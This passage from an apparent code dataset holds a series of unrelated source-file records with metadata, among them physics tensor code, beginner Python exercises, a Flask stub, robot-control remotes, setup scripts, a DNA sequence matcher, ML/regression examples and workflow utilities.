\n\n self.elements : dict of dict of dict of float \n \"\"\"\n\n def __init__(self, index_dict): \n self.index_dict = index_dict \n self.index_dim = len(index_dict) \n self.elements = {}\n for i in range(self.index_dim):\n self.elements[index_dict[i]] = {}\n for j in range(self.index_dim): \n self.elements[index_dict[i]][index_dict[j]] = {}\n for k in range(self.index_dim):\n self.elements[self.index_dict[i]][self.index_dict[j]][self.index_dict[k]] = 0.0\n\n def convert_to_shorthand(self): \n \"\"\" A method that converts ``self.elements`` structure into a single\n dictionary, whereby $\\Gamma^{t}_{tt}$ can be accessed with key ``['ttt']``. \n Returns the conversion, but does not modify the class instance itself. \n \"\"\"\n\n shortcut = {}\n for i in range(self.index_dim):\n for j in range(self.index_dim):\n for k in range(self.index_dim):\n s = '{a}{b}{c}'\n s = s.format(a=self.index_dict[i],\n b=self.index_dict[j],\n c=self.index_dict[k])\n shortcut[s] = self.elements[self.index_dict[i]][self.index_dict[j]][self.index_dict[k]]\n self.elements = {} # start fresh\n for key in shortcut:\n self.elements[key] = shortcut[key] \n\n","sub_path":"PHYS514/christoffel.py","file_name":"christoffel.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"589972968","text":"# Exercicio 17\n# A formula de calculo de área de um circulo é:\n# \n# area = pi*r²\n# \n# Sabemos que:\n# \n# pi = 3.14\n# r = raio da circunferência em metros (float)\n# \n# Crie um programa que peça ao usuário o raio e calcule a área da circunferência\n# \nprint('Esse é um programa que calcula o raio de uma circunferência.')\nwhile True:\n try:\n raio = float(input(\"Informe o raio da circunferência: \"))\n print(f'A área da circuferência é {3.14 * (raio ** 2)}m².')\n break\n except ValueError:\n print('Você informou um valor inválido. Tente novamente. ')","sub_path":"Exercicios/Aulas00/aula04/operacao_matematica/exercicio17.py","file_name":"exercicio17.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"307217356","text":"from flask import Flask, jsonify, request, render_template\nfrom flask_restful import Resource, Api\n\napp = Flask(__name__)\napi = Api(app)\n\nmodels = [\n {\n 'code': 'MOD_200767',\n 'russian_name': 'Дрель аккумуляторная'\n },\n {\n 'code': 'MOD_202086',\n 'russian_name': 'Краска для пола для внутренних работ'\n }\n]\n\n\nclass Model(Resource):\n def get(self, code):\n return {'model': code}\n\n\napi.add_resource(Model, '/model/')\n\n\napp.run(port=5000)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"40035206","text":"import wpilib\nfrom wpilib import shuffleboard\nfrom wpilib.buttons import JoystickButton\n\nfrom wpilib.shuffleboard import Shuffleboard as SB\n\nfrom commands.drivebot import DriveBot\nfrom commands.pop import Pop\nfrom commands.operateintake import OperateIntake\nfrom commands.lift import LiftFront, LiftRear\n# from commands.circles import Circles\n\nclass OI:\n def __init__(self, robot):\n\n self.robot = robot\n self.xbox = wpilib.Joystick(0)\n\n self.l_trigger = self.xbox.getRawAxis(2)\n self.r_trigger = self.xbox.getRawAxis(3)\n\n self.l_bumper = JoystickButton(self.xbox, 6)\n self.r_bumper = JoystickButton(self.xbox, 5)\n\n self.a_button = JoystickButton(self.xbox, 1)\n self.b_button = JoystickButton(self.xbox, 2)\n self.steer = self.xbox.getRawAxis(0)\n self.speed = self.l_trigger - self.r_trigger\n\n \n self.a_button.whileHeld(Pop(self.robot))\n\n self.r_bumper.whileHeld(LiftFront(self.robot))\n self.l_bumper.whileHeld(LiftRear(self.robot))\n #self.a_button.toggleWhenPressed(DriveBot(self.robot))\n #self.b_button.toggleWhenPressed(Circles(self.robot))\n \n def getSteer(self):\n return 0.8*(self.xbox.getRawAxis(0)**3)\n\n def getSpeed(self):\n l_trigger = self.xbox.getRawAxis(2)\n r_trigger = self.xbox.getRawAxis(3)\n return 0.8*((l_trigger - r_trigger)**3)\n\n def getIntakeSpeed(self):\n\n return self.xbox.getRawAxis(5)\n","sub_path":"rio-code/oi.py","file_name":"oi.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"87004677","text":"# flake8: noqa\n\n# This file is part of modelbase.\n#\n# modelbase is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# modelbase is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with modelbase. If not, see .\n\nimport sys\nimport setuptools\nimport pathlib\nimport os\nimport codecs\nimport re\nfrom setuptools import setup, Extension, find_packages\nfrom setuptools.command.build_ext import build_ext\n\n\nREADME = (pathlib.Path(__file__).parent / \"README.md\").read_text()\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\n\ndef read(*parts):\n with codecs.open(os.path.join(here, *parts), \"r\") as fp:\n return fp.read()\n\n\ndef find_version(*file_paths):\n version_file = read(*file_paths)\n version_match = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\", version_file, re.M)\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string.\")\n\n\nsetup(\n name=\"modelbase\",\n version=find_version(\"modelbase\", \"__init__.py\"),\n description=\"A package to build metabolic models\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url=\"https://gitlab.com/ebenhoeh/modelbase\",\n author=\"Oliver Ebenhoeh\",\n author_email=\"oliver.ebenhoeh@hhu.de\",\n license=\"GPL3\",\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n ],\n keywords=\"modelling ode pde metabolic\",\n project_urls={\n \"Documentation\": \"https://modelbase.readthedocs.io/en/latest/\",\n \"Source\": \"https://gitlab.com/ebenhoeh/modelbase\",\n \"Tracker\": \"https://gitlab.com/ebenhoeh/modelbase/issues\",\n },\n packages=find_packages(\".\"),\n install_requires=[\n \"numpy>=1.16\",\n \"scipy\",\n \"matplotlib>=3.0.3\",\n \"pandas\",\n \"python-libsbml\",\n ],\n python_requires=\">3.5.0\",\n zip_safe=False,\n)\n","sub_path":"pypi_install_script/modelbase-0.4.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"81866806","text":"numbers_list =[]\r\na=input(\"enter length:\")\r\nwhile True:\r\n num= input(\"Enter a number: \")\r\n if len(num) == a :\r\n break\r\nvalue = numbers_list.append(num)\r\n\r\nfor i,j in value:\r\n if a[i] {actual_v.priority}\")\n# #actual_v.save()\n","sub_path":"sources/Content_Quality/scrub_user_history_duplicate_saves.py","file_name":"scrub_user_history_duplicate_saves.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"123148514","text":"\"\"\"\r\n\r\n --------- ---- ---- ---- ---- ---- ---\r\n --------- ---- ---- ---- ---- ---- -----\r\n --- --- ---- ---- ---- ---- ---- -- --\r\n --- --- ---- ---- ------- ---- ---------\r\n --------- -------- ---- ----- ---- -----------\r\n --------- -------- ---- --- ---- --- ---\r\n\r\nGOAL:\r\nThe goal of this project is to get the robot to the Cha Cha Slide! Should be fun.\r\n(It'd be helpful to be familiar with the song.)\r\n- There is a PC remote that has buttons saying \"Slide to the left!\", \"Slide to the right!\", etc.\r\n set so that when those buttons are pressed, the robot will go the indicated direction or do\r\n the indicated action.\r\n- When the button \"Cha Cha real smooth\" is pressed, the robot will do a 360 with amber LEDs.\r\n- User can input a number of seconds to freeze in the \"Clap your hands!\" command.\r\n If the user inputs anything over eight seconds, it will be accounted as eight. The robot has got to clap\r\n its hands, you know? And if it should freeze, then clap its hands, \"freezing\" for over eight seconds is too long.\r\n\r\n\"\"\"\r\n\r\nimport ev3dev.ev3 as ev3\r\nimport time\r\nimport math\r\nimport penryoa_robot_controller as robo\r\nimport tkinter\r\nfrom tkinter import ttk\r\nimport penryoa_mqtt_remote_method_calls as com\r\n\r\n\r\nrobot = robo.Snatch3r\r\n\r\n\r\n\"\"\"\r\n PC remote:\r\n\"\"\"\r\ndef main():\r\n client = com.MqttClient()\r\n client.connect_to_ev3()\r\n\r\n root = tkinter.Tk()\r\n root.title(\"+*+*+ Cha Cha Slide +*+*+\")\r\n\r\n main_frame = ttk.Frame(root, padding=20, relief='raised')\r\n main_frame.grid()\r\n\r\n one_hop_button = ttk.Button(main_frame, text=\"One hop this time.\")\r\n one_hop_button.grid(row=0, column=1)\r\n one_hop_button['command'] = lambda: one_hop(client)\r\n root.bind('', lambda event: one_hop(client))\r\n\r\n slide_left_button = ttk.Button(main_frame, text=\"Slide to the left!\")\r\n slide_left_button.grid(row=1, column=0)\r\n slide_left_button['command'] = lambda: slide_left(client)\r\n root.bind('', lambda event: slide_left(client))\r\n\r\n cha_cha_smooth_button = ttk.Button(main_frame, text=\"Cha cha real smooth.\")\r\n cha_cha_smooth_button.grid(row=1, column=1)\r\n cha_cha_smooth_button['command'] = lambda: cha_cha_smooth(client)\r\n\r\n slide_right_button = ttk.Button(main_frame, text=\"Slide to the right!\")\r\n slide_right_button.grid(row=1, column=2)\r\n slide_right_button['command'] = lambda: slide_right(client)\r\n root.bind('', lambda event: slide_right(client))\r\n\r\n take_back_button = ttk.Button(main_frame, text=\"Take it back, now, y'all.\")\r\n take_back_button.grid(row=2, column=1)\r\n take_back_button['command'] = lambda: take_it_back(client)\r\n root.bind('', lambda event: take_it_back(client))\r\n\r\n spacing_one = ttk.Label(main_frame, text = \"\")\r\n spacing_one.grid(row = 3, column = 0)\r\n\r\n left_stomp_button = ttk.Button(main_frame, text=\"Left foot, let's stomp.\")\r\n left_stomp_button.grid(row=4, column=0)\r\n left_stomp_button['command'] = lambda: left_stomp(client)\r\n root.bind('', lambda event: left_stomp(client))\r\n\r\n two_hops_button = ttk.Button(main_frame, text=\"Two hops this time.\")\r\n two_hops_button.grid(row=4, column=1)\r\n two_hops_button['command'] = lambda: two_hops(client)\r\n root.bind('', lambda event: two_hops(client))\r\n\r\n right_stomp_button = ttk.Button(main_frame, text=\"Right foot, let's stomp.\")\r\n right_stomp_button.grid(row=4, column=2)\r\n right_stomp_button['command'] = lambda: right_stomp(client)\r\n root.bind('', lambda event: right_stomp(client))\r\n\r\n spacing_two = ttk.Label(main_frame, text = \"\")\r\n spacing_two.grid(row = 5, column = 0)\r\n\r\n seconds_label = ttk.Label(main_frame, text=\"Seconds to freeze:\")\r\n seconds_label.grid(row=6, column=0)\r\n seconds_entry = ttk.Entry(main_frame, width=8)\r\n seconds_entry.insert(0, \"2\")\r\n seconds_entry.grid(row=6, column=1)\r\n freeze_clap_button = ttk.Button(main_frame, text=\"Freeze... \"\r\n \"\"\r\n \"Everybody clap your hands!\")\r\n freeze_clap_button.grid(row=6, column=2)\r\n freeze_clap_button['command'] = lambda: freeze_clap(client, seconds_entry)\r\n root.bind('', lambda event: freeze_clap(client, seconds_entry))\r\n\r\n exit_button = ttk.Button(main_frame, text = \"Exit\")\r\n exit_button.grid(row = 9, column = 1)\r\n exit_button['command'] = lambda: quit(client, True)\r\n root.bind('', lambda event: quit(client, True))\r\n\r\n find_button = ttk.Button(main_frame, text = \"Find a friend to dance with!\")\r\n find_button.grid(row = 8, column = 1)\r\n find_button['command'] = lambda: find_friend(client)\r\n\r\n\r\n root.mainloop()\r\n\r\n\"\"\"\r\n Defining the functions that the buttons call:\r\n\"\"\"\r\n\r\ndef slide_left(client):\r\n print('Slide to the left')\r\n client.send_message(\"slide_to_left\")\r\n\r\ndef left_stomp(client):\r\n print(\"Left foot, let's stomp!\")\r\n client.send_message(\"left_stomp\")\r\n\r\ndef slide_right(client):\r\n print('Slide to the right')\r\n client.send_message(\"slide_to_right\")\r\n\r\ndef right_stomp(client):\r\n print(\"Right foot, let's stomp!\")\r\n client.send_message(\"right_stomp\")\r\n\r\ndef one_hop(client):\r\n print('One hop this time')\r\n client.send_message(\"one_hop\")\r\n\r\ndef two_hops(client):\r\n print('Two hops')\r\n client.send_message(\"two_hops\")\r\n\r\ndef freeze_clap(client, seconds_entry):\r\n print('FREEZE... Now everybody clap your hands!')\r\n client.send_message(\"freeze_clap\", [int(seconds_entry.get())])\r\n\r\ndef cha_cha_smooth(client):\r\n print(\"Cha cha real smooth.\")\r\n client.send_message(\"cha_cha_real_smooth\")\r\n\r\ndef take_it_back(client):\r\n print(\"Take it back, now, y'all.\")\r\n client.send_message('take_it_back')\r\n\r\ndef find_friend(client):\r\n print(\"Someone dance with me... ): \")\r\n client.send_message('seek_beacon')\r\n\r\ndef quit(client, shutdown_ev3):\r\n if shutdown_ev3:\r\n client.send_message(\"exit\")\r\n client.close()\r\n exit()\r\n\r\n\r\n\r\n\r\n\r\n\"\"\"\r\n And finally, call main.\r\n\"\"\"\r\n\r\nmain()","sub_path":"penryoa/pc_project_penryoa.py","file_name":"pc_project_penryoa.py","file_ext":"py","file_size_in_byte":6264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"588806620","text":"import csv, sys, re\n\nN = None\n\ndef load_seq(seq_file):\n file = open(seq_file, \"r\")\n return file.readline().rstrip(\"\\n\")\n\ndef load(database):\n return true\n\ndef compute_str(str_sample, s):\n counter = 0\n global_max = 0\n cur_pos = 0\n M = len(str_sample)\n while cur_pos < N - M:\n #if s.find(str_sample, cur_pos) == cur_pos:\n if str_sample in s[cur_pos : cur_pos + M]:\n counter = counter + 1\n cur_pos = cur_pos + M\n else:\n global_max = max(global_max, counter)\n counter = 0\n cur_pos = cur_pos + 1\n return str(global_max)\n\n# Default directory for database\nDB = \"databases/\"\n\n# Default directory for sequences\nSEQ = \"sequences/\"\n\nif len(sys.argv) != 3:\n print(\"Wrong number of arguments\")\n exit(1)\n\nseq = load_seq(sys.argv[2])\nN = len(seq)\n\nwith open(sys.argv[1], \"r\") as file:\n #reader1 = csv.reader(file)\n #str_list = next(reader1)\n #str_list.pop(0)\n\n reader = csv.reader(file)\n first = True\n str_list = None\n for row in reader:\n cur_str_vals = None\n cur_name = None\n if first:\n row.pop(0)\n str_list = row\n first = False\n else:\n cur_name = row[0]\n row.pop(0)\n cur_str_values = row\n found = True\n #print(\"name is {} and his str values are:\".format(cur_name))\n #print(\", \".join(cur_str_values))\n\n for i in range(len(str_list)):\n if compute_str(str_list[i], seq) != cur_str_values[i]:\n found = False\n if found:\n print(cur_name)\n exit(0)\n\n print(\"No match\")\n exit(0)\n\n\n\n\n\n\n\n","sub_path":"pset6/dna/dna.py","file_name":"dna.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"132507020","text":"from benedict import benedict\nfrom common.common_func import gen_unique_str\nfrom utils.util_log import test_log as log\nfrom common.cus_resource_opts import CustomResourceOperations as CusResource\n\ntemplate_yaml = 'template/default.yaml'\nMILVUS_GRP = 'milvus.io'\nMILVUS_VER = 'v1alpha1'\nMILVUS_KIND = 'MilvusCluster'\n\n\ndef update_configs(yaml, template):\n if not isinstance(yaml, dict):\n log.error(\"customize configurations must be in dict type\")\n return None\n\n _configs = benedict.from_yaml(template)\n\n for key in yaml.keys():\n _configs[key] = yaml[key]\n\n print(_configs)\n filename = gen_unique_str('cus_config')\n customized_yaml = f'template/{filename}.yaml'\n\n customized_yaml = _configs.to_yaml(filepath=customized_yaml)\n\n return _configs.to_json()\n\n\ndef install_milvus(cus_configs, template=template_yaml):\n\n _configs = update_configs(cus_configs, template)\n\n # apply custom resource object to deploy milvus\n cus_res = CusResource(kind=MILVUS_KIND,\n group=MILVUS_GRP,\n version=MILVUS_VER,\n namespace=_configs['metadata']['namespace'])\n return cus_res.create(_configs)\n\n\ndef uninstall_milvus(release_name, namespace='default'):\n\n # delete custom resource object to uninstall milvus\n cus_res = CusResource(kind=MILVUS_KIND,\n group=MILVUS_GRP,\n version=MILVUS_VER,\n namespace=namespace)\n cus_res.delete(release_name)\n\n\nif __name__ == '__main__':\n\n cus_configs = {'spec.components.image': 'milvusdb/milvus-dev:master-20211013-91d8f85',\n 'metadata.namespace': 'chaos-testing',\n 'metadata.name': 'milvus-dbl-testop',\n 'spec.components.queryNode.replicas': 2,\n 'spec.components.queryNode.resources.limits.memory': '2048Mi'\n }\n # milvus_instance = install_milvus(cus_configs, template_yaml)\n # print(milvus_instance)\n # upgrade_milvus(cus_configs)\n uninstall_milvus('milvus-dbl-testop', namespace='chaos-testing')\n # update_configs(cus_configs)\n","sub_path":"tests/python_client/customize/config_parser.py","file_name":"config_parser.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"265836318","text":"\nfunction_name = \"[\\w+]+\"\nfilter_name = function_name\ndouble_quote_string = '[^\\\"]*'\nsingle_quote_string = \"[^\\']*\"\nnumber = \"(\\d*\\.\\d+|\\d+)\"\nspec_name = \"[\\w_-]+\"\nsubst_string = \"\\w+\"\neverything = \"[\\w\\W\\s]*\"\ncommand_ident = \"[^\\s\\{\\},!]+\"\ncontext_ident = \"[^!]\\$\\w+\"\n","sub_path":"mal/parsing/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"22713982","text":"#import word2vec\n#from nltk.stem.snowball import SnowballStemmer\n#from collections import Counter as C\n#from sklearn.cross_validation import KFold\nimport os\nimport numpy as np\nfrom glob import glob\n\n\n\n\n\n\n\ndef assert_path():\n\n\treturn correct_path\n\n\n\n\n\nclass malletLDA(object):\n\n\tdef __init__(self, project_name):\n\t\tself.others = glob('mallet/mallet/wrapper_projects/*')\n\n\t\tself.project = project_name\n\t\tself.trained = False\n\t\tself.path_to_inferencer = False\n\t\tself.pipe_file = False\n\t\tself.model_path = False\n\t\tself.train_params = False\n\n\n\tdef format_and_save(self, text, index):\n\n\t\tassert len(text) == len(index)\n\n\t\tmalletString = ''\n\t\tfor i,t in enumerate(text):\n\t\t\tmalletString += '%s LABEL %s\\n' % (str(index[i]),' '.join(t))\n\n\t\tpath_to_txt = 'mallet/mallet/wrapper_projects/temp_text/%s_raw_input.txt' % (self.project)\n\t\twith open(path_to_txt, 'w') as outfile:\n\t\t\toutfile.write(malletString[:-1])\n\n\t\treturn path_to_txt\n\n\n\tdef import_file(**kwargs):\n\t\tpath_args = ['input', 'output']\n\n\t\tcommands = ''\n\t\tfor k in kwargs:\n\t\t\tif k in path_args:\n\t\t\t\tkwargs[k] = assert_path\n\t\t\tcommands += '--%s %s' % (k,kwargs[k])\n\n\t\tos.system('./mallet/mallet/bin/mallet %s' % (commands))\n\n\n\n\n\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"85403546","text":"#!/usr/bin/env python\n# Basic\nimport sys\nimport os\nimport pdb\n# Analysis\n# import pandas as pd\n# import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport yaml\n\n'''\nName: Graph options\nDescription: A quick functions that sets frequently changing graph options using a yaml file or dictionary\nInput: Either a path to a yaml file or a dictionary with the listed options\nOutput: The dictionary given or the dictionary created by the yaml file\n'''\n\ndef Graph_Options(ax, config):\n g_opt = {}\n if type(config) is str:\n with open(config) as f:\n g_opt = yaml.load(f)\n\n elif type(config) is dict:\n g_opt = config\n\n for key, value in g_opt.items():\n if key == \"SupTitle\":\n ax.suptitle(value)\n if key == \"Title\":\n ax.set_title(value)\n if key == \"x_label\":\n ax.set_xlabel(value)\n if key == \"y_label\":\n ax.set_ylabel(value)\n if key == \"ymin\":\n ax.set_ylim(bottom=value)\n if key == \"ymax\":\n ax.set_ylim(top=value)\n if key == \"xmin\":\n ax.set_xlim(left=value)\n if key == \"xmax\":\n ax.set_xlim(right=value)\n\n return g_opt\n\ndef GetYamlDict(config):\n with open(config) as f:\n g_opt = yaml.load(f)\n return g_opt\n\n##########################################\n# if __name__ == \"__main__\":\n # print \"Not implemented yet\"\n\n\n\n\n","sub_path":"Lib/graph_options.py","file_name":"graph_options.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"574837427","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('single_page_website', '0010_auto_20160918_2125'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='post_project',\n name='headline_image',\n field=models.ImageField(upload_to='images_directory/'),\n ),\n migrations.AlterField(\n model_name='post_project',\n name='sub_images_directory',\n field=models.TextField(max_length=30, choices=[('mech-project', 'Mechanical Engineering'), ('web-project', 'Web Design & Development'), ('electrical-project', 'Electrical Engineering'), ('electrical-project', 'Computer Programming'), ('civil-project', 'Civil Engineering'), ('other-project', 'Other Projects')]),\n ),\n ]\n","sub_path":"single_page_website/migrations/0011_auto_20160918_2127.py","file_name":"0011_auto_20160918_2127.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"375885898","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of INSPIRE.\n# Copyright (C) 2014, 2015, 2016 CERN.\n#\n# INSPIRE is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# INSPIRE is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with INSPIRE. If not, see .\n#\n# In applying this license, CERN does not waive the privileges and immunities\n# granted to it by virtue of its status as an Intergovernmental Organization\n# or submit itself to any jurisdiction.\n\n\"\"\"Contains INSPIRE specific submission tasks\"\"\"\n\nfrom retrying import retry\n\nfrom flask import current_app\n\nfrom functools import wraps\n\n\n@retry(stop_max_attempt_number=5, wait_fixed=10000)\ndef submit_rt_ticket(obj, queue, subject, body, requestors, ticket_id_key):\n \"\"\"Submit ticket to RT with the given parameters.\"\"\"\n from inspirehep.utils.tickets import get_instance\n\n # Trick to prepare ticket body\n body = \"\\n \".join([line.strip() for line in body.split(\"\\n\")])\n rt_instance = get_instance() if current_app.config.get(\"PRODUCTION_MODE\") else None\n rt_queue = current_app.config.get(\"CFG_BIBCATALOG_QUEUES\") or queue\n recid = obj.extra_data.get(\"recid\", \"\")\n if not recid:\n recid = obj.data.get(\"recid\", \"\")\n if not rt_instance:\n obj.log.error(\"No RT instance available. Skipping!\")\n obj.log.info(\"Ticket submission ignored.\")\n else:\n ticket_id = rt_instance.create_ticket(\n Queue=rt_queue,\n Subject=subject,\n Text=body,\n Requestors=requestors,\n CF_RecordID=recid\n )\n obj.extra_data[ticket_id_key] = ticket_id\n obj.log.info(\"Ticket {0} created:\\n{1}\".format(\n ticket_id,\n body.encode(\"utf-8\", \"ignore\")\n ))\n return True\n\n\ndef halt_record_with_action(action, message):\n \"\"\"Halt the record and set an action (with message).\"\"\"\n @wraps(halt_record_with_action)\n def _halt_record(obj, eng):\n \"\"\"Halt the workflow for approval.\"\"\"\n eng.halt(action=action,\n msg=message)\n return _halt_record\n\n\ndef close_ticket(ticket_id_key=\"ticket_id\"):\n \"\"\"Close the ticket associated with this record found in given key.\"\"\"\n @wraps(close_ticket)\n def _close_ticket(obj, eng):\n from inspirehep.utils.tickets import get_instance\n\n ticket_id = obj.extra_data.get(ticket_id_key, \"\")\n if not ticket_id:\n obj.log.error(\"No ticket ID found!\")\n return\n\n rt = get_instance()\n if not rt:\n obj.log.error(\"No RT instance available. Skipping!\")\n else:\n try:\n rt.edit_ticket(\n ticket_id=ticket_id,\n Status=\"resolved\"\n )\n except IndexError:\n # Probably already resolved, lets check\n ticket = rt.get_ticket(ticket_id)\n if ticket[\"Status\"] != \"resolved\":\n raise\n obj.log.warning(\"Ticket is already resolved.\")\n return _close_ticket\n","sub_path":"inspirehep/modules/workflows/tasks/submission.py","file_name":"submission.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"272839876","text":"\"\"\"\nCode Challenge: Simple Linear Regression\n Name: \n Food Truck Profit Prediction Tool\n Filename: \n Foodtruck.py\n Dataset:\n Foodtruck.csv\n Problem Statement:\n Suppose you are the CEO of a restaurant franchise and are considering \n different cities for opening a new outlet. \n \n The chain already has food-trucks in various cities and you have data for profits \n and populations from the cities. \n \n You would like to use this data to help you select which city to expand to next.\n \n Perform Simple Linear regression to predict the profit based on the \n population observed and visualize the result.\n \n Based on the above trained results, what will be your estimated profit, \n \n If you set up your outlet in Jaipur? \n (Current population in Jaipur is 3.073 million)\n \n Hint: \n You will implement linear regression to predict the profits for a \n food chain company.\n Foodtruck.csv contains the dataset for our linear regression problem. \n The first column is the population of a city and the second column is the \n profit of a food truck in that city. \n A negative value for profit indicates a loss.\n\"\"\"\nimport pandas as pd \nimport numpy as np \nimport matplotlib.pyplot as plt \n\ndata_frame=pd.read_csv(\"Foodtruck.csv\")\nfeatures=data_frame.iloc[:,:-1].values\nlabels=data_frame.iloc[:,-1].values\n\n# Vizualizing population and Profit\nplt.boxplot(data_frame.values)\n\ndata_frame.plot(x='Population', y='Profit', style='o') \nplt.title('Population vs Profit') \nplt.xlabel('Population') \nplt.ylabel('Profit') \nplt.show()\n\n#test splitting\nfrom sklearn.model_selection import train_test_split \nfeatures_train, features_test, labels_train, labels_test = train_test_split(features, labels, test_size=0.2, random_state=0) \n\n#train the algo\nfrom sklearn.linear_model import LinearRegression \nregressor = LinearRegression() \nregressor.fit(features_train, labels_train) \n\n\n#predictions\n\nlabels_pred = regressor.predict(features_test) \ndf=pd.DataFrame({\"Prediction\":labels_pred,\"Actual\":labels_test})\n#performing linear regression\nfrom sklearn.linear_model import LinearRegression\n\nregressor=LinearRegression()\nval=np.array(3.072)\nval=val.reshape(1,1)\nregressor.fit(features,labels)\nprofit = regressor.predict(val)\n\nif(profit < 0):\n print(\"Loss by :\" + str(profit))\nelse:\n print(\"Profit by :\" + str(profit))\n \n#***********************************************************\n\n ","sub_path":"week4/day1/foodtruck.py","file_name":"foodtruck.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"224968987","text":"\n\nfrom xai.brain.wordbase.adjectives._collectable import _COLLECTABLE\n\n#calss header\nclass _COLLECTABLES(_COLLECTABLE, ):\n\tdef __init__(self,): \n\t\t_COLLECTABLE.__init__(self)\n\t\tself.name = \"COLLECTABLES\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"collectable\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_collectables.py","file_name":"_collectables.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"593597508","text":"#!/usr/bin/env python3\nfrom distutils.core import setup\nimport sys\n\n\n# Check that Python 3.2+ is installed\nif sys.version_info < (3,2):\n print('ERROR: dsm_wrapper requires Python 3.2+. Python %d.%d detected' % sys.version_info[:2])\n sys.exit(1)\n# Installed modules\nPACKAGES = ['dsm_wrapper']\n# Get and set version from package __init__.py\n__version__ = 'Undefined'\nfor line in open('dsm_wrapper/__init__.py'):\n if line.startswith('__version__'):\n exec(line.strip())\n# Call setup\nsetup(name='dsm_wrapper',\n version=__version__,\n description='Wrapper for DSM',\n author='Stephen Watts',\n licence='gpl',\n url='https://github.com/scwatts/dsm_wrapper',\n scripts=['scripts/slurm_dsm_wrapper.py', 'scripts/run_dsm.py',\n 'scripts/replace_dsm_output_id.py'],\n packages=PACKAGES,)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"148741253","text":"#!/usr/bin/python\n#\n# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport re\nimport sys\n\nfrom tqdm import tqdm\n\n#assert len(sys.argv) == 2, \"Must pass bucket\"\n\n#bucket = os.path.join(\"instance\", \"data\", sys.argv[1])\nbucket = \"/home/eights/test/lz-eval\"\nassert os.path.exists(bucket), bucket\n\nos.chdir(bucket)\n\nshorten_hash = re.compile(r\"(\\[[0-9a-f]{8})[0-9a-f]{56}\")\nleela_strip = 